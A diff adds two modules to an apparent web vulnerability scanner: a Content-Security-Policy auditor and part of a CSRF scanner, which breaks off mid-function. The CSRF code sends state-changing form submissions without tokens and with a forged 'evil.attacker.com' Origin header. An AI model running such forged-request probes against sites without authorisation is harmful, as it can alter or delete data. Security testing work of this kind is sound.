|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
csp_scanner.py — Content Security Policy (CSP) Deep Auditor
|
| 3 |
+
============================================================
|
| 4 |
+
Parses and analyses the Content-Security-Policy (and CSP-Report-Only) header:
|
| 5 |
+
- Detects missing CSP entirely
|
| 6 |
+
- Flags unsafe-inline / unsafe-eval in script-src
|
| 7 |
+
- Flags wildcard (*) sources
|
| 8 |
+
- Detects missing critical directives
|
| 9 |
+
- Identifies CSP bypass vectors (data:, blob:, http: schemes)
|
| 10 |
+
- Checks for report-uri / report-to configuration
|
| 11 |
+
- Scores overall CSP strength
|
| 12 |
+
"""
|
| 13 |
+
import re
|
| 14 |
+
import urllib.request
|
| 15 |
+
import urllib.error
|
| 16 |
+
from scanners.base_scanner import BaseScanner
|
| 17 |
+
|
| 18 |
+
CRITICAL_DIRECTIVES = [
|
| 19 |
+
"default-src", "script-src", "style-src", "img-src",
|
| 20 |
+
"connect-src", "font-src", "object-src", "frame-ancestors",
|
| 21 |
+
]
|
| 22 |
+
|
| 23 |
+
BYPASS_SCHEMES = ["data:", "blob:", "http:", "javascript:"]
|
| 24 |
+
|
| 25 |
+
CDNS_ALLOWLISTED_BUT_RISKY = [
|
| 26 |
+
"cdn.jsdelivr.net", "unpkg.com", "cdnjs.cloudflare.com",
|
| 27 |
+
"ajax.googleapis.com", "code.jquery.com",
|
| 28 |
+
]
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
class CspScanner(BaseScanner):
|
| 32 |
+
SCANNER_NAME = "Content Security Policy (CSP) Auditor"
|
| 33 |
+
_SCANNER_KEY = "csp"
|
| 34 |
+
|
| 35 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 36 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 37 |
+
|
| 38 |
+
def run(self) -> list:
|
| 39 |
+
self.log("INFO", f"[CSP] Auditing Content-Security-Policy on {self.target}...")
|
| 40 |
+
try:
|
| 41 |
+
headers = self._fetch_headers()
|
| 42 |
+
csp = headers.get("content-security-policy", "")
|
| 43 |
+
csp_ro = headers.get("content-security-policy-report-only", "")
|
| 44 |
+
|
| 45 |
+
if not csp and not csp_ro:
|
| 46 |
+
self.log("WARNING", "[CSP] No Content-Security-Policy header found!")
|
| 47 |
+
self.add_vuln(
|
| 48 |
+
title="Content Security Policy (CSP) Not Configured",
|
| 49 |
+
severity="High",
|
| 50 |
+
category="Content Security Policy",
|
| 51 |
+
cvss_score=7.5,
|
| 52 |
+
description=f"The target `{self.target}` does not serve a "
|
| 53 |
+
"Content-Security-Policy header. Without CSP, the browser has "
|
| 54 |
+
"no policy to enforce, making XSS attacks significantly more "
|
| 55 |
+
"damaging as injected scripts run with full page privileges.",
|
| 56 |
+
remediation="Implement a strict CSP:\n"
|
| 57 |
+
"Content-Security-Policy: default-src 'self'; "
|
| 58 |
+
"script-src 'self' 'nonce-{random}'; "
|
| 59 |
+
"object-src 'none'; base-uri 'self'; frame-ancestors 'none'",
|
| 60 |
+
evidence="No Content-Security-Policy header in response",
|
| 61 |
+
request_details=f"GET {self.target}",
|
| 62 |
+
response_details="Missing Content-Security-Policy header",
|
| 63 |
+
confidence="Confirmed",
|
| 64 |
+
)
|
| 65 |
+
return self.vulns
|
| 66 |
+
|
| 67 |
+
active_csp = csp or csp_ro
|
| 68 |
+
label = "CSP-Report-Only" if not csp else "CSP"
|
| 69 |
+
self.log("INFO", f"[CSP] {label} header found. Parsing directives...")
|
| 70 |
+
|
| 71 |
+
if not csp and csp_ro:
|
| 72 |
+
self.add_vuln(
|
| 73 |
+
title="CSP Deployed in Report-Only Mode (Not Enforced)",
|
| 74 |
+
severity="Medium",
|
| 75 |
+
category="Content Security Policy",
|
| 76 |
+
cvss_score=5.3,
|
| 77 |
+
description="A Content-Security-Policy-Report-Only header is present but "
|
| 78 |
+
"no enforcing CSP header exists. Report-Only mode does not prevent "
|
| 79 |
+
"attacks — it only sends violation reports.",
|
| 80 |
+
remediation="Promote the policy to Content-Security-Policy once verified.",
|
| 81 |
+
evidence="Content-Security-Policy-Report-Only present, no enforcing CSP",
|
| 82 |
+
request_details=f"GET {self.target}",
|
| 83 |
+
response_details="Report-Only mode CSP detected",
|
| 84 |
+
confidence="High",
|
| 85 |
+
)
|
| 86 |
+
|
| 87 |
+
directives = self._parse_csp(active_csp)
|
| 88 |
+
self._audit_directives(directives, active_csp)
|
| 89 |
+
|
| 90 |
+
except Exception as e:
|
| 91 |
+
self.log("ERROR", f"[CSP] Audit error: {e}")
|
| 92 |
+
|
| 93 |
+
self.log(
|
| 94 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 95 |
+
f"[CSP] Audit complete. {len(self.vulns)} issue(s) found.",
|
| 96 |
+
)
|
| 97 |
+
return self.vulns
|
| 98 |
+
|
| 99 |
+
def _fetch_headers(self) -> dict:
|
| 100 |
+
body, status, resp_headers = self._make_request(
|
| 101 |
+
self.target, return_response_obj=True
|
| 102 |
+
)
|
| 103 |
+
if resp_headers:
|
| 104 |
+
return {k.lower(): v for k, v in resp_headers.items()}
|
| 105 |
+
return {}
|
| 106 |
+
|
| 107 |
+
@staticmethod
|
| 108 |
+
def _parse_csp(csp: str) -> dict:
|
| 109 |
+
directives = {}
|
| 110 |
+
for part in csp.split(";"):
|
| 111 |
+
part = part.strip()
|
| 112 |
+
if not part:
|
| 113 |
+
continue
|
| 114 |
+
tokens = part.split()
|
| 115 |
+
if tokens:
|
| 116 |
+
directives[tokens[0].lower()] = tokens[1:]
|
| 117 |
+
return directives
|
| 118 |
+
|
| 119 |
+
def _audit_directives(self, directives: dict, raw_csp: str):
|
| 120 |
+
script_src = directives.get("script-src",
|
| 121 |
+
directives.get("default-src", []))
|
| 122 |
+
|
| 123 |
+
if "'unsafe-inline'" in script_src:
|
| 124 |
+
self.add_vuln(
|
| 125 |
+
title="CSP Allows 'unsafe-inline' in script-src",
|
| 126 |
+
severity="High",
|
| 127 |
+
category="Content Security Policy",
|
| 128 |
+
cvss_score=7.4,
|
| 129 |
+
description="The CSP `script-src` directive includes `'unsafe-inline'`, "
|
| 130 |
+
"which allows inline `<script>` blocks and `onclick=` handlers. "
|
| 131 |
+
"This completely undermines XSS protection provided by CSP.",
|
| 132 |
+
remediation="Replace 'unsafe-inline' with nonce-based or hash-based "
|
| 133 |
+
"script allowlisting:\n"
|
| 134 |
+
"script-src 'self' 'nonce-{server_generated_random}';",
|
| 135 |
+
evidence=f"script-src contains 'unsafe-inline': {script_src}",
|
| 136 |
+
payload="'unsafe-inline' in CSP",
|
| 137 |
+
request_details=f"GET {self.target}",
|
| 138 |
+
response_details=f"CSP directives: {directives}",
|
| 139 |
+
confidence="Confirmed",
|
| 140 |
+
)
|
| 141 |
+
else:
|
| 142 |
+
self.log("SUCCESS", "[CSP] 'unsafe-inline' not found in script-src")
|
| 143 |
+
|
| 144 |
+
if "'unsafe-eval'" in script_src:
|
| 145 |
+
self.add_vuln(
|
| 146 |
+
title="CSP Allows 'unsafe-eval' in script-src",
|
| 147 |
+
severity="Medium",
|
| 148 |
+
category="Content Security Policy",
|
| 149 |
+
cvss_score=5.3,
|
| 150 |
+
description="The CSP `script-src` allows `eval()`, `new Function()`, "
|
| 151 |
+
"and similar dynamic code execution. This weakens XSS mitigation.",
|
| 152 |
+
remediation="Remove 'unsafe-eval'. Refactor code to avoid eval(). "
|
| 153 |
+
"Use JSON.parse() instead of eval() for JSON data.",
|
| 154 |
+
evidence=f"script-src contains 'unsafe-eval': {script_src}",
|
| 155 |
+
payload="'unsafe-eval' in CSP",
|
| 156 |
+
request_details=f"GET {self.target}",
|
| 157 |
+
response_details=f"CSP directives: {directives}",
|
| 158 |
+
confidence="Confirmed",
|
| 159 |
+
)
|
| 160 |
+
|
| 161 |
+
for directive, sources in directives.items():
|
| 162 |
+
if "*" in sources:
|
| 163 |
+
self.add_vuln(
|
| 164 |
+
title=f"CSP Wildcard (*) Source in '{directive}'",
|
| 165 |
+
severity="High",
|
| 166 |
+
category="Content Security Policy",
|
| 167 |
+
cvss_score=7.5,
|
| 168 |
+
description=f"The `{directive}` directive allows any origin (`*`), "
|
| 169 |
+
"effectively disabling the protection for this resource type.",
|
| 170 |
+
remediation=f"Replace `*` in `{directive}` with explicit, "
|
| 171 |
+
"trusted origins only.",
|
| 172 |
+
evidence=f"{directive}: {' '.join(sources)} contains wildcard",
|
| 173 |
+
payload=f"{directive} *",
|
| 174 |
+
request_details=f"GET {self.target}",
|
| 175 |
+
response_details=f"CSP directive {directive} allows *",
|
| 176 |
+
confidence="Confirmed",
|
| 177 |
+
)
|
| 178 |
+
|
| 179 |
+
for scheme in BYPASS_SCHEMES:
|
| 180 |
+
if scheme in raw_csp:
|
| 181 |
+
self.add_vuln(
|
| 182 |
+
title=f"CSP Bypass via '{scheme}' Scheme Allowed",
|
| 183 |
+
severity="Medium",
|
| 184 |
+
category="Content Security Policy",
|
| 185 |
+
cvss_score=5.5,
|
| 186 |
+
description=f"The CSP permits the `{scheme}` scheme, which is commonly "
|
| 187 |
+
"abused for CSP bypass techniques (especially data: URIs for script execution).",
|
| 188 |
+
remediation=f"Remove `{scheme}` from all CSP directives unless strictly required.",
|
| 189 |
+
evidence=f"CSP contains bypass scheme: {scheme}",
|
| 190 |
+
payload=f"{scheme} in CSP",
|
| 191 |
+
request_details=f"GET {self.target}",
|
| 192 |
+
response_details=f"CSP allows scheme: {scheme}",
|
| 193 |
+
confidence="High",
|
| 194 |
+
)
|
| 195 |
+
|
| 196 |
+
obj_src = directives.get("object-src", directives.get("default-src", []))
|
| 197 |
+
if not obj_src or (obj_src != ["'none'"] and "'none'" not in obj_src):
|
| 198 |
+
self.add_vuln(
|
| 199 |
+
title="CSP Missing 'object-src none' Directive",
|
| 200 |
+
severity="Medium",
|
| 201 |
+
category="Content Security Policy",
|
| 202 |
+
cvss_score=5.3,
|
| 203 |
+
description="Without `object-src 'none'`, the browser may load Flash, "
|
| 204 |
+
"Java applets, or other plugins that bypass script-src restrictions.",
|
| 205 |
+
remediation="Add: object-src 'none'; to your CSP.",
|
| 206 |
+
evidence=f"object-src directive: {obj_src}",
|
| 207 |
+
request_details=f"GET {self.target}",
|
| 208 |
+
response_details="object-src not set to 'none'",
|
| 209 |
+
confidence="High",
|
| 210 |
+
)
|
| 211 |
+
|
| 212 |
+
if "frame-ancestors" not in directives:
|
| 213 |
+
self.add_vuln(
|
| 214 |
+
title="CSP Missing 'frame-ancestors' Directive (Clickjacking)",
|
| 215 |
+
severity="Medium",
|
| 216 |
+
category="Content Security Policy",
|
| 217 |
+
cvss_score=5.4,
|
| 218 |
+
description="The CSP does not include `frame-ancestors`, which controls "
|
| 219 |
+
"whether the page can be embedded in iframes. Without it, clickjacking "
|
| 220 |
+
"attacks remain possible if X-Frame-Options is also absent.",
|
| 221 |
+
remediation="Add: frame-ancestors 'none'; (or 'self' if same-origin framing needed)",
|
| 222 |
+
evidence="Directives present: " + ", ".join(directives.keys()),
|
| 223 |
+
request_details=f"GET {self.target}",
|
| 224 |
+
response_details="frame-ancestors directive missing",
|
| 225 |
+
confidence="High",
|
| 226 |
+
)
|
| 227 |
+
else:
|
| 228 |
+
self.log("SUCCESS", "[CSP] frame-ancestors directive present")
|
| 229 |
+
|
| 230 |
+
if "base-uri" not in directives:
|
| 231 |
+
self.add_vuln(
|
| 232 |
+
title="CSP Missing 'base-uri' Directive",
|
| 233 |
+
severity="Low",
|
| 234 |
+
category="Content Security Policy",
|
| 235 |
+
cvss_score=3.5,
|
| 236 |
+
description="Without `base-uri`, an attacker who injects a `<base>` tag "
|
| 237 |
+
"can redirect all relative URLs to an attacker-controlled origin.",
|
| 238 |
+
remediation="Add: base-uri 'self'; to your CSP.",
|
| 239 |
+
evidence="Directives present: " + ", ".join(directives.keys()),
|
| 240 |
+
request_details=f"GET {self.target}",
|
| 241 |
+
response_details="base-uri directive missing",
|
| 242 |
+
confidence="High",
|
| 243 |
+
)
|
| 244 |
+
|
| 245 |
+
if "report-uri" not in directives and "report-to" not in directives:
|
| 246 |
+
self.add_vuln(
|
| 247 |
+
title="CSP Has No Reporting Endpoint Configured",
|
| 248 |
+
severity="Low",
|
| 249 |
+
category="Content Security Policy",
|
| 250 |
+
cvss_score=2.0,
|
| 251 |
+
description="The CSP does not include a `report-uri` or `report-to` "
|
| 252 |
+
"directive. Without reporting, CSP violations go undetected.",
|
| 253 |
+
remediation="Add: report-uri /csp-report-endpoint; "
|
| 254 |
+
"to receive violation reports from browsers.",
|
| 255 |
+
evidence="Directives present: " + ", ".join(directives.keys()),
|
| 256 |
+
request_details=f"GET {self.target}",
|
| 257 |
+
response_details="No report-uri or report-to directive",
|
| 258 |
+
confidence="High",
|
| 259 |
+
)
|
| 260 |
+
else:
|
| 261 |
+
self.log("SUCCESS", "[CSP] CSP reporting endpoint configured")
|
| 262 |
+
|
| 263 |
+
for cdn in CDNS_ALLOWLISTED_BUT_RISKY:
|
| 264 |
+
if cdn in raw_csp:
|
| 265 |
+
self.add_vuln(
|
| 266 |
+
title=f"CSP Allowlists Risky CDN: {cdn}",
|
| 267 |
+
severity="Low",
|
| 268 |
+
category="Content Security Policy",
|
| 269 |
+
cvss_score=3.5,
|
| 270 |
+
description=f"The CSP allowlists `{cdn}`. Public CDNs host thousands "
|
| 271 |
+
"of packages; if any contain malicious code or are compromised, "
|
| 272 |
+
"your CSP provides no protection.",
|
| 273 |
+
remediation="Pin specific script hashes instead of trusting entire CDN origins. "
|
| 274 |
+
"Use Subresource Integrity (SRI) for all external scripts.",
|
| 275 |
+
evidence=f"CDN {cdn} found in CSP allowlist",
|
| 276 |
+
payload=cdn,
|
| 277 |
+
request_details=f"GET {self.target}",
|
| 278 |
+
response_details=f"CSP allowlists {cdn}",
|
| 279 |
+
confidence="Medium",
|
| 280 |
+
)
|
backend/scanners/csrf_scanner.py
ADDED
|
@@ -0,0 +1,495 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
csrf_scanner.py — Cross-Site Request Forgery (CSRF) Scanner
|
| 3 |
+
============================================================
|
| 4 |
+
Detects CSRF vulnerabilities by:
|
| 5 |
+
1. Discovering all HTML forms via crawler
|
| 6 |
+
2. Checking for CSRF tokens in form fields and custom request headers
|
| 7 |
+
3. Verifying SameSite cookie attributes
|
| 8 |
+
4. Submitting forms without CSRF tokens to see if the server rejects them
|
| 9 |
+
5. Checking Content-Type validation on state-changing endpoints
|
| 10 |
+
|
| 11 |
+
OWASP Top 10: A01:2021 — CVSS 8.8
|
| 12 |
+
"""
|
| 13 |
+
import re, ssl, urllib.parse, urllib.request, urllib.error
|
| 14 |
+
from scanners.base_scanner import BaseScanner
|
| 15 |
+
from utils.anomaly import SizeAnomalyDetector
|
| 16 |
+
|
| 17 |
+
# Token field name patterns
|
| 18 |
+
CSRF_FIELD_RE = re.compile(
|
| 19 |
+
r"(csrf|xsrf|_token|authenticity_token|nonce|__RequestVerificationToken"
|
| 20 |
+
r"|csrfmiddlewaretoken|antiForgery|formToken)", re.I
|
| 21 |
+
)
|
| 22 |
+
|
| 23 |
+
# Header names that indicate CSRF protection
|
| 24 |
+
CSRF_HEADERS = {
|
| 25 |
+
"x-csrf-token", "x-xsrf-token", "x-request-id",
|
| 26 |
+
"x-csrftoken", "x-antiforgery",
|
| 27 |
+
}
|
| 28 |
+
|
| 29 |
+
|
| 30 |
+
class CsrfScanner(BaseScanner):
|
| 31 |
+
SCANNER_NAME = "CSRF Vulnerability Scanner"
|
| 32 |
+
_SCANNER_KEY = "csrf"
|
| 33 |
+
|
| 34 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 35 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 36 |
+
self._tested = 0
|
| 37 |
+
self._found = 0
|
| 38 |
+
self._seen: set = set()
|
| 39 |
+
self._size_detector = SizeAnomalyDetector()
|
| 40 |
+
|
| 41 |
+
# ------------------------------------------------------------------
|
| 42 |
+
def run(self) -> list:
|
| 43 |
+
self.log("INFO", f"[CSRF] Starting CSRF analysis on {self.target}...")
|
| 44 |
+
try:
|
| 45 |
+
forms = self._crawl_forms()
|
| 46 |
+
self.log("INFO", f"[CSRF] Discovered {len(forms)} form(s)")
|
| 47 |
+
|
| 48 |
+
for form in forms:
|
| 49 |
+
self._audit_form(form)
|
| 50 |
+
|
| 51 |
+
# Also probe common API/action endpoints
|
| 52 |
+
self._probe_endpoints()
|
| 53 |
+
|
| 54 |
+
# Run advanced CSRF checks
|
| 55 |
+
self._check_origin_header_validation()
|
| 56 |
+
self._check_custom_header_validation()
|
| 57 |
+
self._check_samesite_cookie_attribute()
|
| 58 |
+
self._test_samesite_lax_vs_strict()
|
| 59 |
+
self._detect_anti_csrf_patterns()
|
| 60 |
+
self._test_csrf_size_anomaly()
|
| 61 |
+
|
| 62 |
+
except Exception as e:
|
| 63 |
+
self.log("WARNING", f"[CSRF] Error: {e}")
|
| 64 |
+
|
| 65 |
+
self.log(
|
| 66 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 67 |
+
f"[CSRF] Complete — {self._tested} check(s) | "
|
| 68 |
+
f"{self._found} CSRF vulnerability/vulnerabilities found",
|
| 69 |
+
)
|
| 70 |
+
return self.vulns
|
| 71 |
+
|
| 72 |
+
# ------------------------------------------------------------------
|
| 73 |
+
def _crawl_forms(self) -> list:
|
| 74 |
+
try:
|
| 75 |
+
results = self.discovery_context or {}
|
| 76 |
+
forms = results.get("forms", [])
|
| 77 |
+
return forms if forms is not None else []
|
| 78 |
+
except Exception as e:
|
| 79 |
+
self.log("ERROR", f"[CSRF] _crawl_forms error: {e}")
|
| 80 |
+
return []
|
| 81 |
+
|
| 82 |
+
# ------------------------------------------------------------------
|
| 83 |
+
def _audit_form(self, form: dict):
|
| 84 |
+
action = form.get("action") or self.target
|
| 85 |
+
method = form.get("method", "get").upper()
|
| 86 |
+
fields = form.get("fields", [])
|
| 87 |
+
page = form.get("page_url", self.target)
|
| 88 |
+
|
| 89 |
+
# Only POST / PUT / PATCH / DELETE forms are CSRF-relevant
|
| 90 |
+
if method not in ("POST", "PUT", "PATCH", "DELETE"):
|
| 91 |
+
return
|
| 92 |
+
|
| 93 |
+
key = f"{action}:{method}"
|
| 94 |
+
if key in self._seen:
|
| 95 |
+
return
|
| 96 |
+
self._seen.add(key)
|
| 97 |
+
self._tested += 1
|
| 98 |
+
|
| 99 |
+
field_names = [f.get("name","") for f in fields]
|
| 100 |
+
|
| 101 |
+
# ── Check 1: No CSRF token field ──────────────────────────────
|
| 102 |
+
has_token_field = any(
|
| 103 |
+
CSRF_FIELD_RE.search(n) for n in field_names if n
|
| 104 |
+
)
|
| 105 |
+
|
| 106 |
+
if not has_token_field:
|
| 107 |
+
self.log("WARNING",
|
| 108 |
+
f"[CSRF] No CSRF token field in form at {action} (from {page})")
|
| 109 |
+
|
| 110 |
+
# ── Check 2: Try submitting the form without a token ───────
|
| 111 |
+
if self._submit_without_token_succeeds(action, method, fields):
|
| 112 |
+
self._found += 1
|
| 113 |
+
self.log("CRITICAL",
|
| 114 |
+
f"[CSRF] CONFIRMED — form at {action} accepted request without token!")
|
| 115 |
+
self.add_vuln(
|
| 116 |
+
title=f"CSRF — Unprotected State-Changing Form at '{action}'",
|
| 117 |
+
severity="High",
|
| 118 |
+
category="CSRF",
|
| 119 |
+
cvss_score=8.8,
|
| 120 |
+
description=(
|
| 121 |
+
f"The `{method}` form at `{action}` (discovered via `{page}`) "
|
| 122 |
+
"does not include a CSRF token and accepted a forged cross-site "
|
| 123 |
+
"request in testing.\n\n"
|
| 124 |
+
"An attacker can craft a page that silently submits this form on "
|
| 125 |
+
"behalf of any authenticated victim who visits it, performing "
|
| 126 |
+
"account changes, data deletion, or privilege escalation."
|
| 127 |
+
),
|
| 128 |
+
remediation=(
|
| 129 |
+
"1. Add a server-generated, per-session CSRF token to every "
|
| 130 |
+
"state-changing form.\n"
|
| 131 |
+
"2. Validate the token server-side on every POST/PUT/PATCH/DELETE.\n"
|
| 132 |
+
"3. Set SameSite=Strict or SameSite=Lax on session cookies.\n"
|
| 133 |
+
"4. Verify the Origin / Referer header as a secondary check.\n"
|
| 134 |
+
"5. Use the Synchronizer Token Pattern or Double Submit Cookie."
|
| 135 |
+
),
|
| 136 |
+
cwe_ids=["CWE-352"],
|
| 137 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 138 |
+
)
|
| 139 |
+
else:
|
| 140 |
+
# Form is protected (token enforced) but field is missing —
|
| 141 |
+
# could be token injected via JS or header-based; flag as info
|
| 142 |
+
self.add_vuln(
|
| 143 |
+
title=f"CSRF — No Visible Token Field in Form at '{action}'",
|
| 144 |
+
severity="Low",
|
| 145 |
+
category="CSRF",
|
| 146 |
+
cvss_score=3.1,
|
| 147 |
+
description=(
|
| 148 |
+
f"The `{method}` form at `{action}` contains no visible CSRF token "
|
| 149 |
+
"field. The server rejected the tokenless request (possible JS-based "
|
| 150 |
+
"or header-based protection), but this should be verified manually."
|
| 151 |
+
),
|
| 152 |
+
remediation=(
|
| 153 |
+
"Confirm CSRF protection is applied via header inspection or "
|
| 154 |
+
"framework documentation. Prefer visible form tokens for defence-in-depth."
|
| 155 |
+
),
|
| 156 |
+
cwe_ids=["CWE-352"],
|
| 157 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 158 |
+
)
|
| 159 |
+
else:
|
| 160 |
+
self.log("SUCCESS",
|
| 161 |
+
f"[CSRF] Form at {action} has CSRF token field: "
|
| 162 |
+
f"{[n for n in field_names if CSRF_FIELD_RE.search(n or '')]}")
|
| 163 |
+
|
| 164 |
+
# ------------------------------------------------------------------
|
| 165 |
+
def _submit_without_token_succeeds(self, action, method, fields) -> bool:
|
| 166 |
+
"""Submit form with plausible dummy values but no CSRF token.
|
| 167 |
+
Returns True if the server returns 2xx (not rejected)."""
|
| 168 |
+
try:
|
| 169 |
+
data = {}
|
| 170 |
+
for f in fields:
|
| 171 |
+
name = f.get("name","")
|
| 172 |
+
if not name or CSRF_FIELD_RE.search(name):
|
| 173 |
+
continue # skip the token field itself
|
| 174 |
+
ftype = f.get("type","text").lower()
|
| 175 |
+
if ftype == "email":
|
| 176 |
+
data[name] = "test@example.com"
|
| 177 |
+
elif ftype in ("number","tel"):
|
| 178 |
+
data[name] = "1"
|
| 179 |
+
else:
|
| 180 |
+
data[name] = "csrf_test_value"
|
| 181 |
+
|
| 182 |
+
if not data:
|
| 183 |
+
data = {"test": "csrf_test_value"}
|
| 184 |
+
|
| 185 |
+
encoded = urllib.parse.urlencode(data).encode()
|
| 186 |
+
headers = {
|
| 187 |
+
"User-Agent": "LarShield/2.0 CSRF-Probe",
|
| 188 |
+
"Content-Type": "application/x-www-form-urlencoded",
|
| 189 |
+
"Origin": "https://evil.attacker.com",
|
| 190 |
+
"Referer": "https://evil.attacker.com/",
|
| 191 |
+
}
|
| 192 |
+
headers.update(self.auth_headers or {})
|
| 193 |
+
body, status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
|
| 194 |
+
return status in range(200, 300) if body is not None else False
|
| 195 |
+
except urllib.error.HTTPError as e:
|
| 196 |
+
return e.code not in (403, 405, 422, 400)
|
| 197 |
+
